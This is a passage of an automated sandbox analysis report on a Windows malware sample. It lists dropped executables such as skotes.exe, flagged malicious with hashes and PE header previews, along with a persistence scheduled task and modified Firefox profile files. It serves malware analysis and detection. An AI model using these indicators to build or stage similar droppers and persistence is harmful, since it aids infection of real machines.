Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$........... +.. ...`....@.. .......................`+......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...vzknjvsv.`......\..:..............@...vkrybwpr. ....+....................@....taggant.@... +..".................@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1007233001\193820fbcc.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4380160
Entropy (8bit):	7.985603194852577
Encrypted:	false
SSDEEP:	98304:T2Slms1dJkjDSe1A4mq15B+gMriRo5cnwcRp1fzRlH0u0OjSs2QG:Tvms1g3MGETX5EwozRp7
MD5:	F1B25767284AA3DBB2EE4B14CF43AF3F
SHA1:	44880C3FC6DCACE137118790A40D1A1A449D8FBC
SHA-256:	738978C433EDB4C822B92CD4C9C07C760174F5AC6826C90DD1A80C26E5F431B6
SHA-512:	F4973CAA1C10835A483DDF41FB9B6367D2CA74EA90DE9156F340EC54F72529726E55BCEFC51552542698D320A85CF515C8A6EE7774A186752AB07F1736803A4B
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 37%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....9g...............(..H...g..2...p........H...@.................................#.C...@... ............................._pe.s............................_..............................._...................................................... . .Pe......l'.................@....rsrc .....`e......\|'.............@....idata .....pe......\|'.............@... ..7...e......~'.............@...mcbbabgn.0...0...0....'.............@...nvcadkig.....`........B.............@....taggant.0...p..."....B.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1908224
Entropy (8bit):	7.949014400197325
Encrypted:	false
SSDEEP:	49152:DKE1DKkbmqi/HJOvnpW98yK/hol3CHNtZy:mE1DV0ov098Rpo9CHw
MD5:	FFC4509537AE91B049189C9F7BC777E0
SHA1:	D07824E044EAEA5C875D4C234ECCDCFB46676720
SHA-256:	73DEDCC630EBD68669C7EE7BEFAC513271F3A06B39BA6E20F4A4CB585EA726AD
SHA-512:	61A8271BC25878FAA2A012AB7FD1DC60043DB8A8BBCF2B16CB396D6CE21732B83F44BBD64EECA887C2227409C3B52683123681803687A3FAF6D6677089ED784F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L......7....@.................................W...k.......H...................<.K..............................K..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..+.........................@...zivsockk......1.....................@...luuuhjnn......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.9280293361378895
Encrypted:	false
SSDEEP:	48:YnSwkmrOfJNmPUFpOdwNIOdoWLEWLtkDLuuukx5FBvipA6kbbXjQthvLuhakNeUZ:8S+OfJQPUFpOdwNIOdYVjvYcXaNL6w8P
MD5:	DC054B77D177451B112901B19900714A
SHA1:	63A8EC83DEB97B039DF3244F9F89531F0330602F
SHA-256:	A7D65B525780C2033EE97568639FF8BCD91BA3C823975F3F6FBA04223D359AA9
SHA-512:	AD98A801FD615B5FAE65FE44611733A1B8CADC93D29184B39A6B18FED5461465B5446DC5CA134010298FC86AB681DF424549D568B144A252180EE8435F4AB9DB
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\ExperimentStoreData.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3621
Entropy (8bit):	4.9280293361378895
Encrypted:	false
SSDEEP:	48:YnSwkmrOfJNmPUFpOdwNIOdoWLEWLtkDLuuukx5FBvipA6kbbXjQthvLuhakNeUZ:8S+OfJQPUFpOdwNIOdYVjvYcXaNL6w8P
MD5:	DC054B77D177451B112901B19900714A
SHA1:	63A8EC83DEB97B039DF3244F9F89531F0330602F
SHA-256:	A7D65B525780C2033EE97568639FF8BCD91BA3C823975F3F6FBA04223D359AA9
SHA-512:	AD98A801FD615B5FAE65FE44611733A1B8CADC93D29184B39A6B18FED5461465B5446DC5CA134010298FC86AB681DF424549D568B144A252180EE8435F4AB9DB
Malicious:	false
Preview:	{"csv-import-release-rollout":{"slug":"csv-import-release-rollout","branch":{"slug":"enable-csv-import","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pre-95-support"},"features":[{"value":{"csvImport":true},"enabled":true,"featureId":"cm-csv-import"}]},"active":true,"enrollmentId":"c5d95379-f4ee-4629-a507-6f15a0e93cd4","experimentType":"rollout","source":"rs-loader","userFacingName":"CSV Import (Release Rollout)","userFacingDescription":"This rollout enables users to import logins from a CSV file from the about:logins page.","lastSeen":"2023-10-03T11:50:29.548Z","featureIds":["cm-csv-import"],"prefs":[{"name":"signon.management.page.fileImport.enabled","branch":"default","featureId":"cm-csv-import","variable":"csvImport","originalValue":false}],"isRollout":true},"serp-ad-telemetry-rollout":{"slug":"serp-ad-telemetry-rollout","branch":{"slug":"control","ratio":1,"feature":{"value":{},"enabled":false,"featureId":"this-is-included-for-desktop-pr

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4 (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\addonStartup.json.lz4.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Mozilla lz4 compressed data, originally 23432 bytes
Category:	dropped
Size (bytes):	5312
Entropy (8bit):	6.615424734763731
Encrypted:	false
SSDEEP:	96:V2YbKsKNU2xWrp327tGmD4wBON6h6cHaJVJuZMd0JGkkrw2D:VTx2x2t0FDJ4NpwZMd0EJws
MD5:	1B9C8056D3619CE5A8C59B0C09873F17
SHA1:	1015C630E1937AA63F6AB31743782ECB5D78CCD8
SHA-256:	A6AE5DE0733FED050AB570AD9374FF4593D554F695B5AE4E2495871D171D34A3
SHA-512:	B1DC9CC675D5476C270A2D5B214D3DF2B3856576ED7EFE92D9A606C2D9D34E781018902AE75CE9C1E25007BB7F8D8F7B52997E6F05B845EF44BAF22F614FE899
Malicious:	false
Preview:	mozLz40..[....{"app-system-defaults":{"addon....formautofill@mozilla.org&..Gdependencies":[],"enabled":true,"lastModifiedTime":1695865283000,"loader":null,"path":s.....xpi","recommendationStateA...rootURI":"jar:file:///C:/Program%20Files/M.......refox/browser/features/...... !/...unInSafeMode..wsignedD...telemetryKey..7%40R...:1.0.1","version":"..`},"pic..#in.....T.n..w...........S.......(.[......0....0"},"screenshots..T.r.....[.......(.V....-39.......},"webcompat-reporter...Ofals..&.z.....[.......(.]....=1.5.............<.)....p....d......1.z.!18...5.....startupData...pX.astentL..!er...webRequest%..onBefore...[[{"incognitoi.UtabId..!yp...."main_frame"],"url...."://login.microsoftonline.com/","..@us/L.dwindows...},["blocking"]],...Iimag...https://smartT.".f.....etp/facebook.svg",...Aplay....8`script...P.....-....-testbed.herokuapp\.`shims_..3.jsh.bexampl\|.......Pexten{..Q../?..s...S.J/_2..@&_3U..s7.addthis . ic...officialK......-angularjs/current/dist(..t.min.js...track.adB...net/s

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	4.574593760134356
Encrypted:	false
SSDEEP:	24:Y5FKFpovPVKFpovPFKFpovdlgKFpovVfKFpovQ/SKFpovNkmKFpovHmKFpovdh9m:YTJpVWtbbFZ+Vpk5t
MD5:	9AB26458FA5ECE134CE4EFE3EA06EE6A
SHA1:	C919123D4A4A3123DED72B3445BF98FC96C20846
SHA-256:	F50CBF6C3B129B43895AB854F81C3B7137CD892BE34C84082115838461643523
SHA-512:	5749E9033654803A20F22E2F0C77BF5B816AD3AB7ACD081882AB861B496C615F99BF4135C500C52EE1A1D3500F1487282726AF839CBABFBE504EA3BA91A6352A
Malicious:	false
Preview:	{"formautofill@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"pictureinpicture@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"screenshots@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"webcompat@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"default-theme@mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"addons-search-detection@mozilla.com":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"google@search.mozilla.org":{"permissions":["internal:svgContextPropertiesAllowed","internal:privateBrowsingAllowed"],"origins":[]},"amazondotcom@search.mozilla.org":{"permissions":["internal:svgContex

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	5.489657240073872
Encrypted:	false
SSDEEP:	192:KnaRtLYbBp65dhj4qyaaX86KlNSj5RfGNBw8djSl:Pe2UquO4cwu0
MD5:	BEB2D72BDF4957B724C835CB6D470C16
SHA1:	09DD2892D9C9CAD032441028D4B85B6CED009711
SHA-256:	395EB2AE89A0D05796AFE5F7BAD4C3630764BD3C2618F81C33EDCEC8418E7348
SHA-512:	1EE7D1E58137B3498C97B1A4F20C27E29AC7C4CB1A6F71B87DD9119655FC221998295381CE3618B545FE64F28044D8A3A9079586A74EFA27443B082D3AD66CF2
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1731967099);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	12023
Entropy (8bit):	5.489657240073872
Encrypted:	false
SSDEEP:	192:KnaRtLYbBp65dhj4qyaaX86KlNSj5RfGNBw8djSl:Pe2UquO4cwu0
MD5:	BEB2D72BDF4957B724C835CB6D470C16
SHA1:	09DD2892D9C9CAD032441028D4B85B6CED009711
SHA-256:	395EB2AE89A0D05796AFE5F7BAD4C3630764BD3C2618F81C33EDCEC8418E7348
SHA-512:	1EE7D1E58137B3498C97B1A4F20C27E29AC7C4CB1A6F71B87DD9119655FC221998295381CE3618B545FE64F28044D8A3A9079586A74EFA27443B082D3AD66CF2
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1731967099);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.033064461370275
Encrypted:	false
SSDEEP:	48:YrSAYR86UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5Ftsfbcbyk:ycGyTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	C92F5691D45D09076BC41BE50F1A2C2F
SHA1:	3ED63E40246B10A63256676C8690C421D5CD09E5
SHA-256:	13D17B9E1854FCCD2271E5C7844750887B7C3124C6A9A4DF60467E6443C903CD
SHA-512:	7556E2F21A883DB2B6C048BF5F417B6648655C75223F974400EF2C6894324B694E9F011051FD95E75B77EC26FB2168C9832B9B9C793B4E4820FC0A9958EF18F0
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-18T21:58:21.421Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\targeting.snapshot.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4538
Entropy (8bit):	5.033064461370275
Encrypted:	false
SSDEEP:	48:YrSAYR86UQZpExB1+anOsW4Vh351VxWRzzc8eYMsku7f86SLAVL7if5Ftsfbcbyk:ycGyTEr5QFRzzcMvbw6KkCrmc2Rn27
MD5:	C92F5691D45D09076BC41BE50F1A2C2F
SHA1:	3ED63E40246B10A63256676C8690C421D5CD09E5
SHA-256:	13D17B9E1854FCCD2271E5C7844750887B7C3124C6A9A4DF60467E6443C903CD
SHA-512:	7556E2F21A883DB2B6C048BF5F417B6648655C75223F974400EF2C6894324B694E9F011051FD95E75B77EC26FB2168C9832B9B9C793B4E4820FC0A9958EF18F0
Malicious:	false
Preview:	{"environment":{"locale":"en-US","localeLanguageCode":"en","browserSettings":{"update":{"channel":"release","enabled":true,"autoDownload":true,"background":true}},"attributionData":{"campaign":"%2528not%2Bset%2529","content":"%2528not%2Bset%2529","dlsource":"mozorg","dltoken":"cd09ae95-e2cf-4b8b-8929-791b0dd48cdd","experiment":"%2528not%2Bset%2529","medium":"referral","source":"www.google.com","ua":"chrome","variation":"%2528not%2Bset%2529"},"currentDate":"2024-11-18T21:58:21.421Z","profileAgeCreated":1696333826043,"usesFirefoxSync":false,"isFxAEnabled":true,"isFxASignedIn":false,"sync":{"desktopDevices":0,"mobileDevices":0,"totalDevices":0},"xpinstallEnabled":true,"addonsInfo":{"addons":{"formautofill@mozilla.org":{"version":"1.0.1","type":"extension","isSystem":true,"isWebExtension":true,"name":"Form Autofill","userDisabled":false,"installDate":"2023-09-28T01:41:23.000Z"},"pictureinpicture@mozilla.org":{"version":"1.0.0","type":"extension","isSystem":true,"isWebExtension":true,"name"

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.4083010344720677
Encrypted:	false
SSDEEP:	6:kHPPtXflNeRKUEZ+lX1CGdKUe6tPjgsW2YRZuy0lB3llkt0:kH3Zf2RKQ1CGAFAjzvYRQVB3st0
MD5:	13F01C5EA5C4988C089B526DBFB75FB4
SHA1:	D84C1D1D27C309D08A0CD86A653A08CA5F7FF72D
SHA-256:	DBBC51473F13914A249622DE5FCEF374BA4D656D5D31F87AA525E93B73A45DBE
SHA-512:	83B84BB54039F3DDB4CA045AA9838C658B8B2C6798EC97525D204238960B441BE2CA669C7375188E62FB146A3CD22EE478F1C31A9422858F7A4F649E683C5ECE
Malicious:	false
Preview:	....>...i9.H.2...L.F.......<... .....s.......... ....................8.C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........J.O.N.E.S.-.P.C.\.j.o.n.e.s...................0...................@3P.........................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465513394985086
Encrypted:	false
SSDEEP:	6144:NIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNrdwBCswSb4:eXD94+WlLZMM6YFHB+4
MD5:	42C00BEDA54D8C831961631985763F1B
SHA1:	324308B911EF56556A590403B3AF579B80A507C7
SHA-256:	5B911BDC3F3C5CF9254F24BE645B04FBE52DAE81F60F3C35B77137E4D9301D40
SHA-512:	1A1B9B88A89E6CF836F4CDDD9D25E3AF663B36A9EC6B759E440652EAB62F33CD1259E55B9A53E374E879F53204CC19F935236731213BEE6E3A6E6519CEC10AA4
Malicious:	false
